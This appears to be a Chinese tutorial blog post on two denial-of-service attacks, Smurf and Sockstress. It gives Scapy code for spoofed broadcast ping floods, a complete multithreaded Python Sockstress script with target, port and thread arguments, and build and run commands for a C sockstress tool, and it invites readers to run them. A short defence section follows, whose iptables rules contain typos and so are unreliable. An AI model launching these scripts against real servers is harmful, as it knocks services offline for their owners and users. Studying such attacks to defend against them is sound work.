天天看点

Smurf攻击、Sockstress

作者:IT知识一享

Smurf攻击

  • 世界上最古老的DDoS攻击技术
    • 向广播地址发送伪造源地址的ICMP echo Request(ping)包
    • LAN所有计算机向伪造源地址返回响应包
    • 对现代操作系统已经失效(不响应目标为广播的ping)
  • Scapy
i=IP()
i.dst="1.1.1.255"
p=ICMP()
p.display()
r=(i/p)
send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)           
  • 这个不演示了,仅仅当作学习原理,大家自己可以尝试下

Sockstress

  • 2008年由Jack C.Louis发现
  • 针对TCP服务的拒绝服务攻击
    • 消耗被攻击目标系统的资源
    • 与攻击目标建立大量socket链接
    • 完成三次握手,最后的ACK包window大小为0(客户端不接受数据)
    • 攻击者资源消耗小(CPU、内存、带宽)
    • 异步攻击,单机可拒绝服务高配资源服务器
    • Window窗口实现的TCP流控

脚本如下:

#! /usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
    print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
    print "举例:./syn_flood.py 1.1.1.1 80 20 ## 请确定被攻击端口处于开放状态"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
            except:
                pass
## 停止攻击函数
def shutdown(signal, frame):
    print '正在恢复 iptables 规则'
    os.system('iptables -D OUTPUT -p TCP --tcp-flags RST RST -d ' + target + ' -j DROP')
    sys.exit()
## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT,shutdown)
##多线程攻击
print "\n攻击正在进行...按Ctrl+C停止攻击"
for X in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))
##永远执行
while 0 == 0:
    sleep(1)           

自己去执行尝试即可,这里不做详细演示;

C攻击脚本

  • https://github.com/defuse/sockstress
  • gcc -Wall -c sockstress.c
Smurf攻击、Sockstress
  • gcc -pthread -o sockstress sockstress.o
Smurf攻击、Sockstress
  • ./sockstress 1.1.1.1:80 eth0
  • ./sockstress 1.1.11:80 eth0 -p payloads/http
Smurf攻击、Sockstress

防火墙规则:(用C的话提前写这个防火墙规则)

iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP           

防御措施

  • 直到今天sockstress攻击仍然是一种有效的DoS攻击方式
  • 由于建立完成的TCP三步握手,因此使用syn cookie防御无效
  • 根本的防御方法是采用白名单(不实际)
  • 折中对策:限制单位时间内每IP建立的TCP连接数
    • 封杀每30秒与80端口建立连接超过10个的IP地址
iptables -l INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -l INPUI -P tcp --dport 80 -m state --state NEW -m recent -- update --seconds 30 --hitcount 10 -j DROP           
  • 以上规则对DDoS攻击无效